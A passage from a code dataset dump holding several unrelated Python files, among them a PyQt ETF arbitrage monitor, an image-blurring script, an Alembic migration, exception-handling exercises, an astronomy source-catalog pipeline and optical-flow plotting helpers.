SList2[i].split(\":\")[3][:6]\r\n\r\n\r\n\r\n self.df_datas[index] = pd.DataFrame(tt1, index=SList1, columns=['Weight', 'ClosePx', 'Name'])\r\n self.df_datas[index]['Components'] = pd.Series(tt2, index=SList2, dtype='float')\r\n self.df_datas[index]['Weight'] = self.df_datas[index]['Weight'].astype(dtype='float')\r\n self.df_datas[index]['ClosePx'] = self.df_datas[index]['ClosePx'].astype(dtype='float')\r\n # print(self.df_datas[index])\r\n conn_r.close()\r\n r.connection_pool.disconnect()\r\n\r\n def SetGeoWin(self, size: tuple):\r\n self.setGeometry(size[0], size[1], size[2], size[3])\r\n\r\n def FixedFrame(self):\r\n self.FixedFrame_settle('etfCode', True, 0, 0, 1, 1)\r\n self.FixedFrame_settle('对应指数', True, 0, 1, 1, 1)\r\n self.FixedFrame_settle('预测差额', True, 0, 2, 1, 1)\r\n self.FixedFrame_settle('折合点数', True, 0, 3, 1, 1)\r\n self.FixedFrame_settle('筛选个数', True, 0, 4, 1, 1)\r\n self.FixedFrame_settle('有利申购差额', True, 3, 0, 1, 1)\r\n self.FixedFrame_settle('有利赎回差额', True, 3, 6, 1, 1)\r\n self.FixedFrame_settle('股票代码', True, 4, 0, 1, 1)\r\n self.FixedFrame_settle('股票名称', True, 4, 1, 1, 1)\r\n self.FixedFrame_settle('股数偏差', True, 4, 2, 1, 1)\r\n self.FixedFrame_settle('盈亏', True, 4, 3, 1, 1)\r\n self.FixedFrame_settle('股票代码', True, 4, 6, 1, 1)\r\n self.FixedFrame_settle('股票名称', True, 4, 7, 1, 1)\r\n self.FixedFrame_settle('股数偏差', True, 4, 8, 1, 1)\r\n self.FixedFrame_settle('盈亏', True, 4, 9, 1, 1)\r\n\r\n def FixedFrame_settle(self, name: str, ReadOnly: bool, row, column, rowspan, colspan):\r\n fixedInfo = QtWidgets.QLineEdit()\r\n fixedInfo.setText(name)\r\n fixedInfo.setFont(QtGui.QFont('Times New Roman', 12, QtGui.QFont.Bold))\r\n fixedInfo.setStyleSheet('background-color: #F4A460')\r\n fixedInfo.setReadOnly(ReadOnly)\r\n fixedInfo.setAlignment(QtCore.Qt.AlignCenter)\r\n self.main_layout.addWidget(fixedInfo, row, column, rowspan, colspan)\r\n return fixedInfo\r\n\r\n def Frame_settle(self, name: str, ReadOnly: bool, row, column, rowspan, colspan):\r\n fixedInfo = QtWidgets.QLineEdit()\r\n fixedInfo.setText(name)\r\n fixedInfo.setFont(QtGui.QFont('Times New Roman', 12, QtGui.QFont.Bold))\r\n # fixedInfo.setStyleSheet('background-color: #F4A460')\r\n fixedInfo.setReadOnly(ReadOnly)\r\n fixedInfo.setAlignment(QtCore.Qt.AlignCenter)\r\n self.main_layout.addWidget(fixedInfo, row, column, rowspan, colspan)\r\n return fixedInfo\r\n\r\n def Combo_Box_settle(self):\r\n self.comboBox_widget = QtWidgets.QComboBox()\r\n self.comboBox_widget.setEditable(False)\r\n self.comboBox_widget.setFont(QtGui.QFont('Times New Roman', 12, QtGui.QFont.Bold))\r\n Items = list(self.KeyPattern)\r\n self.comboBox_widget.addItems(Items)\r\n self.comboBox_widget.currentIndexChanged[str].connect(self.UpdateInfo)\r\n # self.comboBox_widget.currentIndexChanged[int].connect(self.UpdateData)\r\n self.main_layout.addWidget(self.comboBox_widget, 1, 0, 1, 1)\r\n\r\n # self.countBox_widget = QtWidgets.QLineEdit('5')\r\n # self.countBox_widget.setFont(QtGui.QFont('Times New Roman', 12, QtGui.QFont.Bold))\r\n # self.countBox_widget.setValidator(QIntValidator(1,25))\r\n # self.countBox_widget.textChanged.connect(self.UpdateShowNum)\r\n # self.main_layout.addWidget(self.countBox_widget, 1, 4, 1, 1)\r\n\r\n self.countBox_widget = QtWidgets.QComboBox()\r\n self.countBox_widget.setEditable(False)\r\n self.countBox_widget.setFont(QtGui.QFont('Times New Roman', 12))\r\n Items = [str(x) for x in np.arange(5, 16, 5)]\r\n self.countBox_widget.addItems(Items)\r\n self.countBox_widget.currentIndexChanged[str].connect(self.UpdateShowNum)\r\n self.main_layout.addWidget(self.countBox_widget, 1, 4, 1, 1)\r\n\r\n def textBars_settle(self):\r\n self.Box11 = self.Frame_settle('', True, 1, 1, 1, 1)\r\n self.UpdateInfo(self.comboBox_widget.currentText())\r\n self.Box12 = self.Frame_settle('', True, 1, 2, 1, 1)\r\n self.Box13 = self.Frame_settle('', True, 1, 3, 1, 1)\r\n self.Box31 = self.Frame_settle('', True, 3, 1, 1, 1)\r\n self.Box37 = self.Frame_settle('', True, 3, 7, 1, 1)\r\n\r\n self.showList = []\r\n for i in range(int(self.countBox_widget.currentText())):\r\n temp = []\r\n for j in range(8):\r\n if j <= 3:\r\n temp.append(self.Frame_settle('', True, i+5, j, 1, 1))\r\n else:\r\n temp.append(self.Frame_settle('', True, i+5, j+2, 1, 1))\r\n\r\n self.showList.append(temp)\r\n\r\n def UpdateInfo(self, etfcode: str):\r\n self.Box11.setText(self.config.Assets[etfcode][0])\r\n self.Loader.update(self.df_datas[self.comboBox_widget.currentIndex()].index)\r\n self.myETFThread.run('I'+self.Box11.text()[:6])\r\n # print(self.myETFThread.response)\r\n\r\n def UpdateShowNum(self, num: str):\r\n n = int(num)\r\n for x in self.showList:\r\n for y in x:\r\n y.clear()\r\n y.hide()\r\n self.main_layout.removeWidget(y)\r\n y.deleteLater()\r\n\r\n\r\n # self.main_layout.update()\r\n\r\n del self.showList\r\n self.showList = []\r\n for i in range(n):\r\n temp = []\r\n for j in range(8):\r\n if j <= 3:\r\n temp.append(self.Frame_settle('', True, i + 5, j, 1, 1))\r\n else:\r\n temp.append(self.Frame_settle('', True, i + 5, j + 2, 1, 1))\r\n\r\n self.showList.append(temp)\r\n\r\n try:\r\n self.resize(self.windowSize[num])\r\n except KeyError or AttributeError:\r\n self.windowSize[num] = self.size()\r\n\r\n self.main_widget.hide()\r\n self.main_widget.setGeometry(QtCore.QRect(self.pos(), self.windowSize[num]))\r\n self.main_layout.setVerticalSpacing(0)\r\n self.main_layout.setGeometry(QtCore.QRect(self.pos(), self.windowSize[num]))\r\n self.main_layout.update()\r\n self.main_widget.show()\r\n\r\n\r\n def timer_init(self, thief: MyETFThread):\r\n self.timer = QtCore.QTimer(self)\r\n self.timer.timeout.connect(lambda: self.on_timer_update_info(thief))\r\n self.timer.start(1000)\r\n\r\n def on_timer_update_info(self, thief: MyETFThread):\r\n if not thief.response:\r\n return\r\n else:\r\n self.Loader.getData()\r\n self.df_datas[self.comboBox_widget.currentIndex()]['CurrP'] = self.Loader.CurrP # 股票现价\r\n self.df_datas[self.comboBox_widget.currentIndex()]['CurrP'][self.df_datas[self.comboBox_widget.currentIndex()]['CurrP'] == 0.0] = \\\r\n self.df_datas[self.comboBox_widget.currentIndex()]['ClosePx'][self.df_datas[self.comboBox_widget.currentIndex()]['CurrP'] == 0.0]\r\n\r\n self.df_datas[self.comboBox_widget.currentIndex()]['DeltaP'] = \\\r\n self.df_datas[self.comboBox_widget.currentIndex()]['ClosePx']-self.df_datas[self.comboBox_widget.currentIndex()]['CurrP'] # 前收价-现价\r\n\r\n self.df_datas[self.comboBox_widget.currentIndex()]['IndexComponents'] = \\\r\n self.config.Assets[self.comboBox_widget.currentText()][1]*thief.response*self.df_datas[self.comboBox_widget.currentIndex()]['Weight']/self.df_datas[self.comboBox_widget.currentIndex()]['ClosePx']/100\r\n # 一手总股数*当前价位*权重/股票当前价\r\n\r\n self.df_datas[self.comboBox_widget.currentIndex()]['DeltaS'] = \\\r\n self.df_datas[self.comboBox_widget.currentIndex()]['Components']-self.df_datas[self.comboBox_widget.currentIndex()]['IndexComponents']\r\n\r\n self.df_datas[self.comboBox_widget.currentIndex()]['DeltaS'] = \\\r\n self.df_datas[self.comboBox_widget.currentIndex()]['DeltaS'].apply(round)\r\n # ETF成分-指数成分\r\n self.df_datas[self.comboBox_widget.currentIndex()]['Profit'] = \\\r\n self.df_datas[self.comboBox_widget.currentIndex()]['DeltaP']*self.df_datas[self.comboBox_widget.currentIndex()]['DeltaS']\r\n # 价差*股数差\r\n temp = self.df_datas[self.comboBox_widget.currentIndex()]['Profit'].sort_values()\r\n\r\n # print(self.Loader.CurrP[1])\r\n # print(self.df_datas[self.comboBox_widget.currentIndex()]['ClosePx'][1])\r\n # print(self.df_datas[self.comboBox_widget.currentIndex()]['DeltaP'])\r\n # print(self.df_datas[self.comboBox_widget.currentIndex()]['IndexComponents'][1])\r\n # print(self.df_datas[self.comboBox_widget.currentIndex()]['DeltaS'])\r\n # print(thief.response)\r\n # print(self.df_datas[self.comboBox_widget.currentIndex()]['Weight'][1])\r\n # print(temp)\r\n\r\n self.on_timer_update_List(temp)\r\n\r\n # try:\r\n # # prefix =\r\n # currentTimeSec = int((datetime.datetime.now()-self.currentDate).total_seconds())\r\n # for ind, line in enumerate(self.conf_lines):\r\n # averageType = self.conf_lines[ind]['average']\r\n # keyType = self.conf_lines[ind]['keyType']\r\n # keyname = self.conf_lines[ind]['keyname']\r\n # type = self.conf_lines[ind]['type']\r\n # if not self.data_checkbox_dict[keyname+keyType+type].isChecked():\r\n # self.time_list[ind] = []\r\n # self.data_list[ind] = []\r\n # self.data_time_list[ind] = {}\r\n # self.plt_list[ind].setData(self.time_list[ind], self.data_list[ind])600\r\n # #\r\n # # self.slabel_list[ind].\r\n # movedis = 0\r\n # width = line['width']\r\n # color = line['color']\r\n # try:\r\n # movlen = int(self.data_move_dict[keyname+keyType+type].text())\r\n # scale = int(self.data_scale_dict[keyname+keyType+type].text())\r\n # except:\r\n # movlen = 0\r\n # scale = 0\r\n #\r\n # # key = currentTimeSec\r\n #\r\n # if currentTimeSec < 32400+1800+0:\r\n # continue\r\n # elif (4140054000:\r\n # key = currentTimeSec\r\n # else:\r\n # if line['type'] == 'Data':\r\n # counts = self.dataKey.value\r\n # counts = int(counts)\r\n #\r\n #\r\n # except:\r\n # pass\r\n\r\n # self.Loader.getData()\r\n # self.df_datas[self.comboBox_widget.currentIndex()]['CurrP'] = self.Loader.CurrP\r\n # print(self.Loader.CurrP)\r\n # print(self.df_datas[self.comboBox_widget.currentIndex()])\r\n\r\n def on_timer_update_List(self, temp: pd.Series):\r\n\r\n s = int(self.countBox_widget.currentText())\r\n for i in range(s):\r\n if temp[i]<0:\r\n self.showList[i][0].setText(temp.index[i])\r\n self.showList[i][1].\\\r\n setText(self.df_datas[self.comboBox_widget.currentIndex()].loc[temp.index[i], 'Name'].decode('gbk'))\r\n self.showList[i][2].\\\r\n setText(str(round(self.df_datas[self.comboBox_widget.currentIndex()].loc[temp.index[i], 'DeltaS'])))\r\n self.showList[i][3].setText(str(round(temp[i], 2)))\r\n if temp[-i-1]>0:\r\n self.showList[i][4].setText(temp.index[-i-1])\r\n self.showList[i][5]. \\\r\n setText(self.df_datas[self.comboBox_widget.currentIndex()].loc[temp.index[-i-1], 'Name'].decode('gbk'))\r\n self.showList[i][6]. \\\r\n setText(str(round(self.df_datas[self.comboBox_widget.currentIndex()].loc[temp.index[-i-1], 'DeltaS'])))\r\n self.showList[i][7].setText(str(round(temp[-i-1], 2)))\r\n\r\n self.Box31.setText(str(round(temp[temp < 0].sum(), 2)))\r\n self.Box37.setText(str(round(temp[temp > 0].sum(), 2)))\r\n tt = temp.sum()\r\n self.Box12.setText(str(round(tt, 2)))\r\n self.Box13.setText(str(round(tt/900, 2)))\r\n\r\n def updateYaml(self):\r\n with open(self.configFile, 'w') as f:\r\n yaml.dump(self.config.Assets, f)\r\n\r\n def closeEvent(self, event):\r\n # pos = self.geometry()\r\n # pos = (pos.left(), pos.top(), pos.width(), pos.height())\r\n # self.config.GetSetGeo('Position', pos)\r\n # print(\"Terminated\")\r\n\r\n # for signal in self.signal:\r\n # try:\r\n # movlen = float(self.data_move_dict[signal].text())\r\n # scale = float(self.data_scale_dict[signal].text())\r\n # except:\r\n # movlen = 0.0\r\n # scale = 0.0\r\n # self.config.Assets['signal'][signal]['Move'] = movlen\r\n # self.config.Assets['signal'][signal]['Scale'] = scale\r\n\r\n # 存储配置文件\r\n # self.updateYaml()\r\n\r\n # stop threadings\r\n try:\r\n self.ontime.stop()\r\n except:\r\n pass\r\n\r\n\r\ndef main():\r\n QtCore.QCoreApplication.setAttribute(QtCore.Qt.AA_EnableHighDpiScaling)\r\n app = QtWidgets.QApplication(sys.argv)\r\n gui = MainUI()\r\n gui.show()\r\n sys.exit(app.exec_())\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n","sub_path":"PaROb.py","file_name":"PaROb.py","file_ext":"py","file_size_in_byte":19836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"259733711","text":"#code\nn = int(input())\nfor j in range(n):\n s = input()\n l = []\n for i in s: # if any digit is 4 replace it with 1 else replace with 0\n if(i=='4'):\n l.append('1')\n else:\n l.append('0')\n \n l = ''.join(l) \n print(\"Case #\",end=\"\")\n print(j+1,end=\"\") # finally subtract new number l from original number s, we get two numbers l and s-l\n print(\":\",int(s)-int(l) , int(l))\n ","sub_path":"Foregone Solution.py","file_name":"Foregone Solution.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"399472310","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 10 15:18:51 2018\r\n\r\nCopyright (c) Prasanth \"Prash\" Ganesan\r\nAuthor email: \r\n\r\nDescription:\r\n This program creates a blurry version of an input image. The type of blur\r\n is chosen randomly between Gaussian and average blur. The radius of the \r\n blur is also random but the range is hardcoded and can be changed in the \r\n program if the user wants to.\r\n \r\nInputs:\r\n input_dir = path of the directory where the image files are present\r\n out_dir = path of directory where the output images have to be saved\r\n \r\nOutputs:\r\n The blurred images are automatically saved in the destination folder along \r\n with a log file which mentions the random blur type and the blur radius \r\n applied to each image file.\r\n \r\nLiterature used:\r\n [1] https://github.com/RaphaelMeudec/deblur-gan\r\n-------------------------------------------------------------------------------\r\n\"\"\"\r\n\r\n# Program starts here\r\nfrom PIL import ImageFilter, Image\r\nimport os\r\nimport random\r\nimport matplotlib.pyplot as plt\r\n\r\n# Secondary Functions\r\ndef load_imgRGB(img_path):\r\n img = Image.open(img_path)\r\n return img\r\n\r\ndef is_an_image(filename):\r\n img_ext = ['.png', '.jpg', '.jpeg']\r\n for ext in img_ext:\r\n if ext in filename:\r\n return True\r\n return False\r\n\r\ndef list_img_files(directory):\r\n files = os.listdir(directory)\r\n return [os.path.join(directory, f) for f in files if is_an_image(f)]\r\n\r\ndef randomBlurPG(img_path,out_dir,random_radius):\r\n sharpimg = load_imgRGB(img_path)\r\n if bool(random.randint(0,1)):\r\n blurredimg = sharpimg.filter(ImageFilter.BoxBlur(radius=random_radius))\r\n #print(+\" boxblur \"+str(random_radius))\r\n with open(out_dir+'log.txt', 'a') as f:\r\n f.write('{} {} {}\\n'.format(os.path.basename(img_path), \"BoxBlurRadius =\", random_radius))\r\n else:\r\n blurredimg = sharpimg.filter(ImageFilter.GaussianBlur(radius=random_radius))\r\n #print(os.path.basename(img_path)+\" gausblur \"+str(random_radius))\r\n with open(out_dir+'log.txt', 'a') as f:\r\n f.write('{} {} {}\\n'.format(os.path.basename(img_path), \"GaussianBlurRadius =\", random_radius))\r\n return sharpimg,blurredimg\r\n\r\ndef save_image(img, path):\r\n img.save(path)\r\n\r\ndef createBlurBatchPG(input_dir,out_dir):\r\n listimgs = list_img_files(input_dir)\r\n min_blur_radius = 2 #Pixel units\r\n max_blur_radius = 5 #Pixel units\r\n for img_path in listimgs:\r\n rand_num = random.sample(range(min_blur_radius, max_blur_radius+1), 1)\r\n sharpimg,blurredimg = randomBlurPG(img_path,out_dir,rand_num[0])\r\n out = os.path.join(out_dir,os.path.basename(img_path))\r\n save_image(blurredimg, out)\r\n print(os.path.basename(img_path)+\" Done\")\r\n \r\n# Main function\r\nif __name__ == \"__main__\":\r\n input_dir = 'Z:/'\r\n out_dir = 'Z:/'\r\n createBlurBatchPG(input_dir,out_dir)\r\n print(\"Blurring complete\")\r\n# sharpimg,blurredimg = blurPG(img_path)\r\n# plt.imshow(sharpimg)\r\n# plt.show()\r\n# plt.imshow(blurredimg)\r\n# plt.show() \r\n\r\n#-----------------------------------------------------------------------\r\n","sub_path":"image_blurring_and_augmentation/randomBlurPG.py","file_name":"randomBlurPG.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"539917607","text":"\"\"\"empty message\n\nRevision ID: 8011fb89649d\nRevises: 59e223f571dc\nCreate Date: 2019-11-06 22:40:29.025421\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '8011fb89649d'\ndown_revision = '59e223f571dc'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('resource', sa.Column('updatetime', sa.DateTime(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('resource', 'updatetime')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/8011fb89649d_.py","file_name":"8011fb89649d_.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"529920999","text":"import random\nimport math\nimport glob\nimport os\n\ndef check(x, y, z):\n if x<=0 or y<=0 or z<=0 or x>=y:\n raise ValueError\n\n else:\n numbers = [random.randint(x, y) for i in range(z)]\n print(numbers)\n odds = 0\n evens = 0\n for num in numbers:\n if num%2: odds += 1\n else: evens += 1\n\n if odds == 0: raise ZeroDivisionError\n else: return evens/odds\n\ntry:\n check(0,2,3)\nexcept ValueError: print(\"Invalid arguments!\")\nexcept ZeroDivisionError: print(\"Division by zero!\")\n\ntry:\n check(3,1,5)\nexcept ValueError: print(\"Invalid arguments!\")\nexcept ZeroDivisionError: print(\"Division by zero!\")\n\n\ndef findRoots(func, x=0.0, step=1e3, prec=1e-7):\n test = lambda x: func(x) > 0\n\n begin, end = test(x), test(x + step)\n assert begin != end\n\n while abs(step) > prec:\n step *= 0.5\n if test(x + step) is not end: x += step\n print(x)\n return x\n\n\n# x+1 [-2,0]\ntry: findRoots(lambda x: x+1, x=-2, step=3)\nexcept AssertionError: print(\"Can't find roots there!\")\n\n# x+1 [1, 2],\ntry: findRoots(lambda x: x+1, x=1, step=2)\nexcept AssertionError: print(\"Can't find roots there!\")\n\n# (x-2)*(x-2)/(x-1)-2 [0, 2]\ntry: findRoots(lambda x: (x-2)*(x-2)/(x-1)-2, x=0, step=3)\nexcept AssertionError: print(\"Can't find roots there!\")\n\n# (x-2)*(x-2)/(x-1)-2 [4, 6]\ntry: findRoots(lambda x: (x-2)*(x-2)/(x-1)-2, x=4, step=3)\nexcept AssertionError: print(\"Can't find roots there!\")\n\n\ndef pythagorean(lst):\n div=0\n if len(lst)%3 == 0: div=3\n if len(lst)%4 == 0: div=4\n if not div: raise ValueError\n\n elements = [lst[x:x+div] for x in xrange(0, len(lst), div)]\n for i in elements:\n correct=False\n assert max(i) == i[-1]\n\n if div==3:\n if i[0]**2 + i[1]**2 == i[2]**2: correct=True\n else:\n if i[0]**2 + i[1]**2 + i[2]**2 == i[3]**2: correct=True\n\n if correct:\n odds = 0\n evens = 0\n for num in i:\n if num%2: odds += 1\n else: evens += 1\n print(i, evens, odds)\n\n\nl=[1,2,2,3,2,3,6,7,1,4,8,9,4,4,7,9,2,6,9,13,6,6,7,11,3,4,12,13,2,5,14,15,2,10,11,15,1,12,\n12,17,8,9,12,17,1,6,18,19,6,6,17,19,6,10,15,21,4,5,20,21,4,8,19,21,4,13,16,21,8,11,16,\n21,3,6,22,23,3,13,18,23,6,13,18,23,9,14,20,25,12,15,16,25,2,7,26,27,2,10,25,27,2,14,\n23,27,7,14,22,27,10,10,23,27,3,16,24,29,11,12,24,29,12,16,21,29,2]\ntry: pythagorean(l)\nexcept ValueError: print(\"Bad length of list!\")\nexcept AssertionError: print(\"Last element of sublist is not biggest!\")\n\nl=[1,2,2,3,2,3,6,7,1,4,8,9,4,4,7,9,2,6,9,13,6,6,7,11,3,4,12,13,2,5,14,15,2,10,11,15,1,12,\n12,17,8,9,12,17,1,6,18,19,6,6,17,19,6,10,15,21,4,5,20,21,4,8,19,21,4,13,16,21,8,11,16,\n21,3,6,22,23,3,13,18,23,6,13,18,23,9,14,20,25,12,15,16,25,2,7,26,27,2,10,25,27,2,14,\n23,27,7,14,22,27,10,10,23,27,3,16,24,29,11,12,24,29,12,16,21,29]\ntry: pythagorean(l)\nexcept ValueError: print(\"Bad length of list!\")\nexcept AssertionError: print(\"Last element of sublist is not biggest!\")\n\nl=[3,4,5,5,12,13,7,24,25,9,40,41,6,8,10,60,80,100,18,24,30,15,8,17]\ntry: pythagorean(l)\nexcept ValueError: print(\"Bad length of list!\")\nexcept AssertionError: print(\"Last element of sublist is not biggest!\")\n\nl=[3,4,5,5,13,12,7,24,25,9,40,41,6,8,10,60,80,100,18,24,30,15,8,17]\ntry: pythagorean(l)\nexcept ValueError: print(\"Bad length of list!\")\nexcept AssertionError: print(\"Last element of sublist is not biggest!\")\n\n\ndef aver(fileName):\n with open(fileName) as f:\n\n lines = f.readlines()\n if len(lines) == 0: raise ZeroDivisionError\n\n numericalValues=True\n sumCols=0\n\n for i in lines:\n i = i.strip('\\n')\n i = i.split()\n\n for char in i:\n if not char.isdigit(): raise ValueError\n\n assert len(i) == 2\n\n sumCols += float(i[0])\n sumCols += float(i[1])\n\n avg = sumCols/len(lines)\n\n scriptDir = os.path.dirname(os.path.abspath(__file__))\n filePath = os.path.join(scriptDir, fileName+\":\"+str(avg))\n f = open(filePath, 'w+')\n f.write(str(avg))\n f.close()\n\n\nfor i in glob.glob('*.dat'):\n try: aver(i)\n except ZeroDivisionError: print(\"No lines in file!\")\n except AssertionError: print(\"Bad columns!\")\n except ValueError: print(\"Not numerical values in file!\")\n","sub_path":"lab8/lab8.py","file_name":"lab8.py","file_ext":"py","file_size_in_byte":4351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"475137454","text":"# Easy mode\n# Create a program that when given a word, converts the word into it's pig latin version.\n\n\ndef translate_word(word):\n if word[0] in \"aeiou\":\n return word[1:] + \"say\"\n else:\n return \"{}{}ay\".format(word[1:], word[0])\n\n\nword = input(\"Please enter a word: \").lower()\n\nprint(translate_word(word))\n\n","sub_path":"pyglatin.py","file_name":"pyglatin.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"302692989","text":"#!/usr/bin/env python\nimport argparse\nimport datetime\nimport os\nimport pdb\nimport sys\n\nfrom stsci.tools import logutil\n\nfrom drizzlepac import util\nfrom drizzlepac.hlautils.catalog_utils import HAPCatalogs\nfrom drizzlepac.hlautils import config_utils\nfrom drizzlepac.hlautils import poller_utils\n\n\nlog = logutil.create_logger(__name__, level=logutil.logging.INFO, stream=sys.stdout)\n\n\n@util.with_logging\ndef run_catalog_utils(total_list, debug=False, phot_mode='both'):\n \"\"\"This subroutine utilizes hlautils/catalog_utils module to produce photometric sourcelists for the specified\n total drizzle product and it's associated child filter products.\n\n Parameters\n ----------\n total_list : drizzlepac.hlautils.Product.TotalProduct\n total drizzle product that will be processed by catalog_utils. catalog_utils will also create photometric\n sourcelists for the child filter products of this total product.\n\n debug : bool, optional\n generate ds9 region file counterparts to the photometric sourcelists? Default value is False.\n\n phot_mode : str, optional\n Which algorithm should be used to generate the sourcelists? 'aperture' for aperture photometry;\n 'segment' for segment map photometry; 'both' for both 'segment' and 'aperture'. Default value is 'both'.\n\n Returns\n -------\n Nothing.\n \"\"\"\n\n\n product_list = []\n for total_product_obj in total_list:\n # determine total product filename\n if os.path.exists(total_product_obj.product_basename+\"_drc.fits\"):\n total_product_name = total_product_obj.product_basename + \"_drc.fits\"\n else:\n total_product_name = total_product_obj.product_basename + \"_drz.fits\"\n\n # Instantiate filter catalog product object\n total_product_catalogs = HAPCatalogs(total_product_name, types=phot_mode, debug=debug)\n\n # Identify sources to be measured by filter photometry step\n total_product_catalogs.identify()\n\n #write out list(s) of identified sources\n total_product_catalogs.write()\n\n #append total product catalogs to list\n if phot_mode in ['aperture', 'both']:\n product_list.append(total_product_obj.point_cat_filename)\n if phot_mode in ['segment', 'both']:\n product_list.append(total_product_obj.segment_cat_filename)\n\n # build dictionary of total_product_catalogs.catalogs[*].sources to use for\n # filter photometric catalog generation\n sources_dict = {}\n for cat_type in total_product_catalogs.catalogs.keys():\n sources_dict[cat_type] = {}\n sources_dict[cat_type]['sources'] = total_product_catalogs.catalogs[cat_type].sources\n if cat_type == \"segment\":\n sources_dict['segment']['kernel'] = total_product_catalogs.catalogs['segment'].kernel\n\n for filter_product_obj in total_product_obj.fdp_list:\n # determine filter product filename\n if os.path.exists(filter_product_obj.product_basename + \"_drc.fits\"):\n filter_product_name = filter_product_obj.product_basename + \"_drc.fits\"\n else:\n filter_product_name = filter_product_obj.product_basename + \"_drz.fits\"\n\n # Instantiate filter catalog product object\n filter_product_catalogs = HAPCatalogs(filter_product_name, types=phot_mode,\n debug=debug, tp_sources=sources_dict)\n # Perform photometry\n filter_product_catalogs.measure()\n\n # Write out photometric catalog(s)\n filter_product_catalogs.write()\n\n # append filter product catalogs to list\n if phot_mode in ['aperture', 'both']:\n product_list.append(filter_product_obj.point_cat_filename)\n if phot_mode in ['segment', 'both']:\n product_list.append(filter_product_obj.segment_cat_filename)\n return product_list\n# ======================================================================================================================\n\n\ndef main():\n \"\"\"Super simple testing interface for the catalog_utils code.\"\"\"\n parser = argparse.ArgumentParser(description='test interface for sourcelist_generation')\n parser.add_argument('input_file', help=\"input filename (ends with '.out'\")\n parser.add_argument('-d', '--debug', required=False, choices=['True', 'False'], default='False', help='debug mode on? (generate region files?)')\n parser.add_argument('-m', '--phot_mode', required=False, choices=['aperture', 'segment', 'both'], default='both', help=\"which photometry mode should be run? 'aperture' for aperture only; 'seg' for segment only, and 'both' for both aperture and segment photometry.\")\n args = parser.parse_args()\n if args.debug == \"True\":\n args.debug = True\n else:\n args.debug = False\n\n log.info(\"python {} {} -d {} -m {}\".format(os.path.realpath(__file__), args.input_file, args.debug, args.phot_mode))\n\n obs_info_dict, total_list = poller_utils.interpret_obset_input(args.input_file)\n\n for total_item in total_list:\n total_item.pars = config_utils.HapConfig(total_item, use_defaults=True)\n\n for filter_item in total_item.fdp_list:\n filter_item.pars = config_utils.HapConfig(filter_item, use_defaults=True)\n\n for expo_item in total_item.edp_list:\n expo_item.pars = config_utils.HapConfig(expo_item, use_defaults=True)\n\n starting_dt = datetime.datetime.now() # TODO: remove prior to final integration\n log.info(\"Run start time: {}\".format(str(starting_dt))) # TODO: remove prior to final integration\n\n product_list = run_catalog_utils(total_list, args.debug, args.phot_mode)\n\n log.info('Total processing time: {} sec\\a'.format((datetime.datetime.now() - starting_dt).total_seconds())) # TODO: remove prior to final integration\n\n for item in product_list:\n print(item)\n\n\n# ======================================================================================================================\n\n\nif __name__ == '__main__':\n main()\n\n\n\n","sub_path":"drizzlepac/hapcatalog.py","file_name":"hapcatalog.py","file_ext":"py","file_size_in_byte":6109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"112557807","text":"import matplotlib.pyplot as plt\nimport cv2\nimport numpy as np\nimport flow_vis\nfrom matplotlib import colors, mlab\nfrom matplotlib.ticker import PercentFormatter\n\nclass PlotOF:\n def __init__(self):\n super(PlotOF, self).__init__()\n\n def visualise_error_histogram(self,gt_flow, sq_error, msen, title=\"\"):\n flow_valid = gt_flow[:, :, 2]\n err_non_occluded = sq_error[flow_valid != 0]\n\n x = err_non_occluded\n n_bins = 25\n\n fig, axs = plt.subplots(tight_layout=True)\n\n N, bins, patches = axs.hist(x, bins=n_bins, density=True) # N is the count in each bin\n\n # [mean_mse, alpha=opacity, y_max=length]\n axs.axvline(msen, alpha=1, ymax=10, linestyle=\":\", label='MSEN')\n\n axs.yaxis.set_major_formatter(PercentFormatter(xmax=1))\n axs.set_title('Density of Optical Flow Error ' + title)\n axs.set_xlabel('Optical Flow square error')\n axs.set_ylabel('Percentage of Pixels')\n\n plt.legend()\n\n # color code by height\n fracs = N / N.max()\n\n # we need to normalize the data to 0..1 for the full range of the colormap\n norm = colors.Normalize(fracs.min(), fracs.max())\n\n # Now, we'll loop through our objects and set the color of each accordingly\n for thisfrac, thispatch in zip(fracs, patches):\n color = plt.cm.viridis(norm(thisfrac))\n thispatch.set_facecolor(color)\n\n plt.savefig('op_flow_error_hist_' + title + '.png')\n plt.show()\n\n def plotArrowsOP_save(self,flow_img, step, path, alg, type):\n img = plt.imread(path)\n flow_img = cv2.resize(flow_img, (0, 0), fx=1. / step, fy=1. / step)\n u = flow_img[:, :, 0]\n v = flow_img[:, :, 1]\n x = np.arange(0, np.shape(flow_img)[0] * step, step)\n y = np.arange(0, np.shape(flow_img)[1] * step, step)\n U, V = np.meshgrid(y, x)\n M = np.hypot(u, v)\n plt.quiver(U, V, u, -v, M, color='g')\n plt.imshow(img, alpha=0.5, cmap='gray')\n plt.title('Orientation OF - ' + alg + ' - ' + type)\n plt.xticks([])\n plt.yticks([])\n plt.show()\n\n plt.savefig('plotArrowsOP - ' + alg + ' - ' + type)\n\n def plotArrowsOP(flow_img, step, img):\n flow_img = cv2.resize(flow_img, (0, 0), fx=1. / step, fy=1. / step)\n u = flow_img[:, :, 0]\n v = flow_img[:, :, 1]\n x = np.arange(0, 